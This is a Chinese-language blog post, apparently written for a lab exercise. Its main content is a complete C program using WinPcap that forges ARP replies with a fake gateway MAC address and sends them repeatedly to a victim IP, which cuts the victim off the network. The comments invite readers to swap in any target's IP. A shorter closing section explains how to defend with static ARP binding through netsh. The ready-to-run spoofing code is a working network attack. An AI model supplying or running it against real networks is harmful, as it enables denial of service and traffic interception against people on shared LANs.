arp欺騙

一、在Visual Studio 2010軟件中建立一個項目,配好相應的屬性,將以下代碼粘貼項目欄中,調試運行以下代碼。

// WinpCap Test.cpp : 定義控制檯應用程序的入口點。

//


#include "stdafx.h"


#include <pcap.h>


int _tmain(int argc, _TCHAR* argv[])


{


    pcap_if_t * allAdapters;//適配器列表


    pcap_if_t * adapter;


    pcap_t           * adapterHandle;//適配器句柄


    u_char         packet[ 1020 ]; //待發送的數據封包


    char errorBuffer[ PCAP_ERRBUF_SIZE ];//錯誤信息緩衝區


    if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, 


                &allAdapters, errorBuffer ) == -1 )


    {//檢索機器連接的所有網絡適配器


        fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );


        return -1;


    }


    if( allAdapters == NULL )


    {//不存在人任何適配器


        printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );


        return 0;


    }


    int crtAdapter = 0;


    for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)


    {//遍歷輸入適配器信息(名稱和描述信息)


        printf( "\n%d.%s ", ++crtAdapter, adapter->name ); 


        printf( "-- %s\n", adapter->description );


    }


    printf( "\n" );


    //選擇適配器


    int adapterNumber;


    printf( "Enter the adapter number between 1 and %d:", crtAdapter );


    scanf_s( "%d", &adapterNumber );


    if( adapterNumber < 1 || adapterNumber > crtAdapter )


    {


        printf( "\nAdapter number out of range.\n" );


        // 釋放適配器列表


        pcap_freealldevs( allAdapters );


        return -1;


    }


    adapter = allAdapters;


    for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )


    adapter = adapter->next;


    // 打開指定適配器


    adapterHandle = pcap_open( adapter->name, // name of the adapter


                               65536,         // portion of the packet to capture


                                              // 65536 guarantees that the whole 


                          // packet will be captured


                               PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode


                               1000,             // read timeout - 1 millisecond


                               NULL,          // authentication on the remote machine


                               errorBuffer    // error buffer


                              );


    if( adapterHandle == NULL )


    {//指定適配器打開失敗


        fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );


        // 釋放適配器列表


        pcap_freealldevs( allAdapters );


        return -1;


    }


    pcap_freealldevs( allAdapters );//釋放適配器列表


    //創建數據封包


    // 設置目標的MAC地址爲01 : 01 : 01 : 01 : 01 : 01

// packet[] = {0xff ff ff ff ff ff c8 9c dc 22 62 0f 08 06 00 01 08 00 06 04 00 01 c8 9c dc 22 62 0f ac 1c 0f 14 00 00 00 00 00 00 ac 1c 0f 13};


    packet[0] = 0xc8;    packet[1] = 0x9c;    packet[2] = 0xdc;    packet[3] = 0x22;    packet[4] = 0x6c;    packet[5] = 0x58;   // 被騙計算機的mac地址

packet[6] = 0xc8;   packet[7]  = 0x9c;   packet[8]  = 0xdc;   packet[9]  = 0x22;   packet[10] = 0x62;   packet[11] = 0x0f;   // 自己的mac地址

packet[12] = 0x08;   packet[13] = 0x06;  // 以太網封裝arp協議(不用動)

packet[14] = 0x00;   packet[15] = 0x01;  // arp第1字段:代表以太網

packet[16] = 0x08;   packet[17] = 0x00;  // arp第2字段:代表IP協議

packet[18] = 0x06;  // arp第3字段:代表第二層地址的長度

packet[19] = 0x04;  // arp第4字段:代表第三層地址的長度

packet[20] = 0x00;   packet[21] = 0x02;   // arp第5字段:這是一個arp應答報文; 下面的是arp的第6,7,8,9字段

packet[22] = 0xc8;   packet[23]  = 0x9c;   packet[24]  = 0xdc;   packet[25]  = 0x22;   packet[26] = 0x62;   packet[27] = 0x06; // 假的網關地址,

packet[28] = 0xac;   packet[29] = 0x1c; packet[30] = 0x0f;   packet[31] = 0xfe;    // 網關的ip,這裏是172.28.15.254(在本實驗室不用改)

packet[32] = 0xc8;   packet[33]  = 0x9c;   packet[34]  = 0xdc;   packet[35]  = 0x22;   packet[36] = 0x6c;   packet[37] = 0x58;  // 被騙計算機的mac地址

packet[38] = 0xac;   packet[39] = 0x1c; packet[40] = 0x0f;   packet[41] = 0x13;   // 被騙計算機的IP地址,這裏是172.28.15.19  (想騙誰,這裏就改成誰的IP)


    // 設置封包其他部分內容

/*

    for( int index = 12; index < 100; index++ )


    {


        packet[index] = 0xC4;


    }

*/

    //發送數據封包

for(int ssde=0;ssde<100;ssde++)

{

pcap_sendpacket( adapterHandle, packet, 42);

Sleep(1000);

}


    if( pcap_sendpacket( adapterHandle, // the adapter handle


             packet, // the packet

// the length of the packet


             42) != 0 )


    {


        fprintf( stderr,"\nError sending the packet: \n", pcap_geterr( adapterHandle ) );


        return -1;


    }


    system( "PAUSE" );


    return 0;


}

二、調試運行後出現以下窗口,選擇幾號適配器wKioL1gsBd6zY495AAAiUYtYKMk349.png

然後對方就上不了網了!


如何靜態綁定本機的Mac,防止arp欺騙

一、在cmd命令界面中輸入“netsh i i show in”(這是“netsh interface ipv4 show interfaces的縮寫”,就可以查看到本地連接對應的“IDX”值。

wKiom1gsBxzg51WdAAASOxSi7GQ209.png

二、接下來找到路由器(即網關)的IP地址和MAC地址。通過在命令窗口中輸入“IPconfig /all”來查看。

wKiom1gsB4nTeFlmAAAtqbpE2GA107.png

三、實現靜態綁定:

在命令窗口中輸入 【netsh -c "i i" ad ne 本地連接IDX  網關IP  網關MAC  】即可實現綁定。

wKiom1gsCXnz9hlfAAAHbvC3Lhs918.png

四、靜態綁定的刪除,我們可以使用命令“netsh -c "i i" delete neighbors 本地連接IDX  ”來刪除之前的綁定。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章